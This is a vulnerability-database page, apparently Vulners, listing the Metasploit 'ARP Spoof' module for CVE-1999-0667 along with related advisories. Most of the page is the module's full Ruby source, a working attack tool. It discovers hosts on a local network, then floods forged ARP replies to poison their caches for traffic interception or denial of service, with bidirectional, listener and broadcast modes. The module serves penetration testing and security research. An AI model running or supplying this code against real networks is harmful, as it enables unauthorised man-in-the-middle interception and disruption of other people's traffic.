Lucene search
+L

ARP Spoof

🗓️ 22 Dec 1999 00:00:00Reported by amaloteaux <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 70 Views

Spoof ARP replies and poison remote ARP caches to conduct IP address spoofing or a denial of service. Module requires Metasploit: https://metasploit.com/downloa

Related
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
The vulnerability of the Windows operating system allows a malicious individual to trigger a service failure or redirect network traffic.
5 Jul 201600:00
–bdu_fstec
bdu_fstec
BDU FSTEC
The vulnerability of the embedded software of the Fanuc 32i numerical control system allows a malicious individual to gain access to information transmitted over the network.
5 Jul 201600:00
–bdu_fstec
bdu_fstec
BDU FSTEC
The vulnerability of the Cisco IOS operating system, which allows a remote attacker to intercept network traffic.
5 Jul 201600:00
–bdu_fstec
bdu_fstec
BDU FSTEC
The vulnerability of the Zyxel ZLD operating system allows a remote attacker to intercept network traffic.
7 Jul 201600:00
–bdu_fstec
bdu_fstec
BDU FSTEC
The vulnerability of the microprogrammed software of the D–Link DSR–500 router allows a malicious individual to intercept network traffic.
7 Jul 201600:00
–bdu_fstec
bdu_fstec
BDU FSTEC
The vulnerability of the microprogrammed software of the D–Link DSR–150 router allows a malicious individual to intercept network traffic.
7 Jul 201600:00
–bdu_fstec
bdu_fstec
BDU FSTEC
The vulnerability of the microprogrammed software of the D–Link DSR–250 router allows a malicious individual to intercept network traffic.
7 Jul 201600:00
–bdu_fstec
bdu_fstec
BDU FSTEC
The vulnerability of the microprogrammed routing software of the D–Link DSR–1000 allows a malicious actor to intercept network traffic.
7 Jul 201600:00
–bdu_fstec
circl
Circl
CVE-1999-0667
29 May 201815:50
–circl
cve
CVE
CVE-1999-0667
4 Feb 200005:00
–cve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Capture
  include Msf::Auxiliary::Report

  def initialize
    super(
      'Name' => 'ARP Spoof',
      'Description' => %q{
        Spoof ARP replies and poison remote ARP caches to conduct IP address spoofing or a denial of service.
      },
      'Author' => [
        'amaloteaux', # msf rewrite
        # tons of people
      ],
      'License' => MSF_LICENSE,
      'References' => [
        ['OSVDB', '11169'],
        ['CVE', '1999-0667'],
        ['URL', 'https://en.wikipedia.org/wiki/ARP_spoofing']
      ],
      'DisclosureDate' => '1999-12-22', # osvdb date
      'Notes' => {
        'Stability' => [OS_RESOURCE_LOSS],
        'SideEffects' => [IOC_IN_LOGS],
        'Reliability' => []
      }
    )

    register_options([
      OptString.new('SHOSTS',	[true, 'Spoofed IP addresses']),
      OptString.new('SMAC',	[false, 'Spoofed MAC address']),
      OptString.new('DHOSTS',	[true, 'Target IP addresses']),
      OptString.new('INTERFACE',	[false, 'The name of the interface']),
      OptBool.new('BIDIRECTIONAL',	[true, 'Spoof also the source with the destination', false]),
      OptBool.new('AUTO_ADD',	[true, 'Auto add new host when discovered by the listener', false]),
      OptBool.new('LISTENER',	[true, 'Use an additional thread that will listen for arp requests to reply as fast as possible', true])
    ])

    register_advanced_options([
      OptString.new('LOCALSMAC',	[false, 'The MAC address of the local interface to use for hosts detection, this is useful only if you want to spoof to another host with SMAC']),
      OptString.new('LOCALSIP',	[false, 'The IP address of the local interface to use for hosts detection']),
      OptInt.new('PKT_DELAY',	[true, 'The delay in milliseconds between each packet during poisoning', 100]),
      OptInt.new('TIMEOUT', [true, 'The number of seconds to wait for new data during host detection', 2]),
      # This mode will generate address IP conflict pop up  on most systems
      OptBool.new('BROADCAST',	[true, 'If set, the module will send replies on the broadcast address without consideration of DHOSTS', false])
    ])

    deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'RHOST', 'SECRET', 'GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT')
  end

  def run
    open_pcap({ 'SNAPLEN' => 68, 'FILTER' => 'arp[6:2] == 0x0002' })
    @netifaces = true
    if !netifaces_implemented?
      print_error('WARNING : Pcaprub is not up-to-date, some functionality will not be available')
      @netifaces = false
    end
    @spoofing = false
    # The local dst (and src) cache(s)
    @dsthosts_cache = {}
    @srchosts_cache = {}
    # Some additional caches for autoadd feature
    if datastore['AUTO_ADD']
      @dsthosts_autoadd_cache = {}
      if datastore['BIDIRECTIONAL']
        @srchosts_autoadd_cache = {}
      end
    end

    begin
      @interface = datastore['INTERFACE'] || Pcap.lookupdev
      # This is needed on windows cause we send interface directly to Pcap functions
      @interface = get_interface_guid(@interface)
      @smac = datastore['SMAC']
      @smac ||= get_mac(@interface) if @netifaces
      raise 'SMAC is not defined and can not be guessed' unless @smac
      raise 'Source MAC is not in correct format' unless is_mac?(@smac)

      @sip = datastore['LOCALSIP']
      @sip ||= get_ipv4_addr(@interface) if @netifaces
      raise 'LOCALSIP is not defined and can not be guessed' unless @sip
      raise 'LOCALSIP is not an ipv4 address' unless Rex::Socket.is_ipv4?(@sip)

      shosts_range = Rex::Socket::RangeWalker.new(datastore['SHOSTS'])
      @shosts = []
      if datastore['BIDIRECTIONAL']
        shosts_range.each { |shost| if Rex::Socket.is_ipv4?(shost) && (shost != @sip) then @shosts.push shost end }
      else
        shosts_range.each { |shost| if Rex::Socket.is_ipv4?(shost) then @shosts.push shost end }
      end

      if datastore['BROADCAST']
        broadcast_spoof
      else
        arp_poisoning
      end
    rescue StandardError => e
      print_error(e.message)
    ensure
      if datastore['LISTENER'] && @listener
        @listener.kill
      end

      if capture && @spoofing && !datastore['BROADCAST']
        print_status('RE-ARPing the victims...')
        3.times do
          @dsthosts_cache.keys.sort.each do |dhost|
            dmac = @dsthosts_cache[dhost]
            if datastore['BIDIRECTIONAL']
              @srchosts_cache.keys.sort.each do |shost|
                smac = @srchosts_cache[shost]
                next unless shost != dhost

                vprint_status("Sending arp packet for #{shost} to #{dhost}")
                reply = buildreply(shost, smac, dhost, dmac)
                inject(reply)
                Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
              end
            else
              @shosts.each do |shost|
                next unless shost != dhost

                vprint_status("Sending arp request for #{shost} to #{dhost}")
                request = buildprobe(dhost, dmac, shost)
                inject(request)
                Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
              end
            end
          end
          next unless datastore['BIDIRECTIONAL']

          @srchosts_cache.keys.sort.each do |shost|
            smac = @srchosts_cache[shost]
            @dsthosts_cache.keys.sort.each do |dhost|
              dmac = @dsthosts_cache[dhost]
              next unless shost != dhost

              vprint_status("Sending arp packet for #{dhost} to #{shost}")
              reply = buildreply(dhost, dmac, shost, smac)
              inject(reply)
              Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
            end
          end
        end
      end
      close_pcap
    end
  end

  def broadcast_spoof
    print_status('ARP poisoning in progress (broadcast)...')
    loop do
      @shosts.each do |shost|
        vprint_status("Sending arp packet for #{shost} address")
        reply = buildreply(shost, @smac, '0.0.0.0', 'ff:ff:ff:ff:ff:ff')
        inject(reply)
        Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
      end
    end
  end

  def arp_poisoning
    lsmac = datastore['LOCALSMAC'] || @smac
    raise 'Local Source Mac is not in correct format' unless is_mac?(lsmac)

    dhosts_range = Rex::Socket::RangeWalker.new(datastore['DHOSTS'])
    @dhosts = []
    dhosts_range.each { |dhost| if Rex::Socket.is_ipv4?(dhost) && (dhost != @sip) then @dhosts.push(dhost) end }

    # Build the local dest hosts cache
    print_status('Building the destination hosts cache...')
    @dhosts.each do |dhost|
      vprint_status("Sending arp packet to #{dhost}")

      probe = buildprobe(@sip, lsmac, dhost)
      inject(probe)
      while (reply = getreply)
        next if !reply.is_arp?

        # Without this check any arp request would be added to the cache
        next unless @dhosts.include? reply.arp_saddr_ip

        print_good("#{reply.arp_saddr_ip} appears to be up.")
        report_host(host: reply.arp_saddr_ip, mac: reply.arp_saddr_mac)
        @dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
      end
    end
    # Wait some few seconds for last packets
    etime = Time.now.to_f + datastore['TIMEOUT']
    while (Time.now.to_f < etime)
      while (reply = getreply)
        next if !reply.is_arp?

        next unless @dhosts.include? reply.arp_saddr_ip

        print_good("#{reply.arp_saddr_ip} appears to be up.")
        report_host(host: reply.arp_saddr_ip, mac: reply.arp_saddr_mac)
        @dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
      end
      Kernel.select(nil, nil, nil, 0.50)
    end
    raise 'No hosts found' if @dsthosts_cache.empty?

    # Build the local src hosts cache
    if datastore['BIDIRECTIONAL']
      print_status('Building the source hosts cache for unknown source hosts...')
      @shosts.each do |shost|
        if @dsthosts_cache.key? shost
          vprint_status("Adding #{shost} from destination cache")
          @srchosts_cache[shost] = @dsthosts_cache[shost]
          next
        end
        vprint_status("Sending arp packet to #{shost}")
        probe = buildprobe(@sip, lsmac, shost)
        inject(probe)
        while (reply = getreply)
          next if !reply.is_arp?

          next unless @shosts.include? reply.arp_saddr_ip

          print_good("#{reply.arp_saddr_ip} appears to be up.")
          report_host(host: reply.arp_saddr_ip, mac: reply.arp_saddr_mac)
          @srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
        end
      end
      # Wait some few seconds for last packets
      etime = Time.now.to_f + datastore['TIMEOUT']
      while (Time.now.to_f < etime)
        while (reply = getreply)
          next if !reply.is_arp?

          next unless @shosts.include? reply.arp_saddr_ip

          print_good("#{reply.arp_saddr_ip} appears to be up.")
          report_host(host: reply.arp_saddr_ip, mac: reply.arp_saddr_mac)
          @srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
        end
        Kernel.select(nil, nil, nil, 0.50)
      end
      raise 'No hosts found' if @srchosts_cache.empty?
    end

    if datastore['AUTO_ADD']
      @mutex_cache = Mutex.new
    end

    # Start the listener
    if datastore['LISTENER']
      start_listener(@dsthosts_cache, @srchosts_cache)
    end
    # Do the job until user interrupt it
    print_status('ARP poisoning in progress...')
    @spoofing = true
    loop do
      if datastore['AUTO_ADD']
        @mutex_cache.lock
        if !@dsthosts_autoadd_cache.empty?
          @dsthosts_cache.merge!(@dsthosts_autoadd_cache)
          @dsthosts_autoadd_cache = {}
        end
        if datastore['BIDIRECTIONAL'] && @srchosts_autoadd_cache.length > (0)
          @srchosts_cache.merge!(@srchosts_autoadd_cache)
          @srchosts_autoadd_cache = {}
        end
        @mutex_cache.unlock
      end
      @dsthosts_cache.keys.sort.each do |dhost|
        dmac = @dsthosts_cache[dhost]
        if datastore['BIDIRECTIONAL']
          @srchosts_cache.keys.sort.each do |shost|
            @srchosts_cache[shost]
            next unless shost != dhost

            vprint_status("Sending arp packet for #{shost} to #{dhost}")
            reply = buildreply(shost, @smac, dhost, dmac)
            inject(reply)
            Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
          end
        else
          @shosts.each do |shost|
            next unless shost != dhost

            vprint_status("Sending arp packet for #{shost} to #{dhost}")
            reply = buildreply(shost, @smac, dhost, dmac)
            inject(reply)
            Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
          end
        end
      end

      next unless datastore['BIDIRECTIONAL']

      @srchosts_cache.keys.sort.each do |shost|
        smac = @srchosts_cache[shost]
        @dsthosts_cache.keys.sort.each do |dhost|
          @dsthosts_cache[dhost]
          next unless shost != dhost

          vprint_status("Sending arp packet for #{dhost} to #{shost}")
          reply = buildreply(dhost, @smac, shost, smac)
          inject(reply)
          Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
        end
      end
    end
  end

  def is_mac?(mac)
    if mac =~ /^([a-fA-F0-9]{2}:){5}[a-fA-F0-9]{2}$/ then true
    else
      false end
  end

  def buildprobe(shost, smac, dhost)
    p = PacketFu::ARPPacket.new
    p.eth_saddr = smac
    p.eth_daddr = 'ff:ff:ff:ff:ff:ff'
    p.arp_opcode = 1
    p.arp_daddr_mac = p.eth_daddr
    p.arp_saddr_mac = p.eth_saddr
    p.arp_saddr_ip = shost
    p.arp_daddr_ip = dhost
    p
  end

  def buildreply(shost, smac, dhost, dmac)
    p = PacketFu::ARPPacket.new
    p.eth_saddr = smac
    p.eth_daddr = dmac
    p.arp_opcode = 2 # ARP Reply
    p.arp_daddr_mac = p.eth_daddr
    p.arp_saddr_mac = p.eth_saddr
    p.arp_saddr_ip = shost
    p.arp_daddr_ip = dhost
    p
  end

  def getreply
    pkt_bytes = capture.next
    return if !pkt_bytes

    pkt = PacketFu::Packet.parse(pkt_bytes)
    return unless pkt.is_arp?
    return unless pkt.arp_opcode == 2

    pkt
  end

  def start_listener(dsthosts_cache, srchosts_cache)
    if datastore['BIDIRECTIONAL']
      thread_args = { BIDIRECTIONAL: true, dhosts: dsthosts_cache.dup, shosts: srchosts_cache.dup }
    else
      thread_args = { BIDIRECTIONAL: false, dhosts: dsthosts_cache.dup, shosts: @shosts.dup }
    end
    # To avoid any race condition in case of , even if actually those are never updated after the thread is launched
    thread_args[:AUTO_ADD] = datastore['AUTO_ADD']
    thread_args[:localip] = @sip.dup
    @listener = Thread.new(thread_args) do |args|
      # one more local copy
      liste_src_ips = []
      if args[:BIDIRECTIONAL]
        args[:shosts].each_key { |address| liste_src_ips.push address }
      else
        args[:shosts].each { |address| liste_src_ips.push address }
      end
      liste_dst_ips = []
      args[:dhosts].each_key { |address| liste_dst_ips.push address }
      localip = args[:localip]

      listener_capture = ::Pcap.open_live(@interface, 68, true, 0)
      listener_capture.setfilter('arp[6:2] == 0x0001')
      loop do
        pkt_bytes = listener_capture.next
        next unless pkt_bytes

        pkt = PacketFu::Packet.parse(pkt_bytes)
        if pkt.is_arp? && pkt.arp_opcode == (1)
          # check if the source ip is in the dest hosts
          if (liste_dst_ips.include?(pkt.arp_saddr_ip) && liste_src_ips.include?(pkt.arp_daddr_ip)) ||
             (args[:BIDIRECTIONAL] && liste_dst_ips.include?(pkt.arp_daddr_ip) && liste_src_ips.include?(pkt.arp_saddr_ip))
            vprint_status("Listener : Request from #{pkt.arp_saddr_ip} for #{pkt.arp_daddr_ip}")
            reply = buildreply(pkt.arp_daddr_ip, @smac, pkt.arp_saddr_ip, pkt.eth_saddr)
            3.times { listener_capture.inject(reply.to_s) }
          elsif args[:AUTO_ADD]
            if @dhosts.include?(pkt.arp_saddr_ip) && !liste_dst_ips.include?(pkt.arp_saddr_ip) &&
               (pkt.arp_saddr_ip != localip)
              @mutex_cache.lock
              print_status("#{pkt.arp_saddr_ip} appears to be up.")
              @dsthosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac
              liste_dst_ips.push pkt.arp_saddr_ip
              @mutex_cache.unlock
            elsif args[:BIDIRECTIONAL] && @shosts.include?(pkt.arp_saddr_ip) &&
                  !liste_src_ips.include?(pkt.arp_saddr_ip) && (pkt.arp_saddr_ip != localip)
              @mutex_cache.lock
              print_status("#{pkt.arp_saddr_ip} appears to be up.")
              @srchosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac
              liste_src_ips.push pkt.arp_saddr_ip
              @mutex_cache.unlock
            end
          end
        end
      end
    rescue StandardError => e
      print_error("Listener Error: #{e.message}")
      print_error('Listener Error: Listener is stopped')
    end
    @listener.abort_on_exception = true
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Dec 1999 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 210
EPSS0.13641
70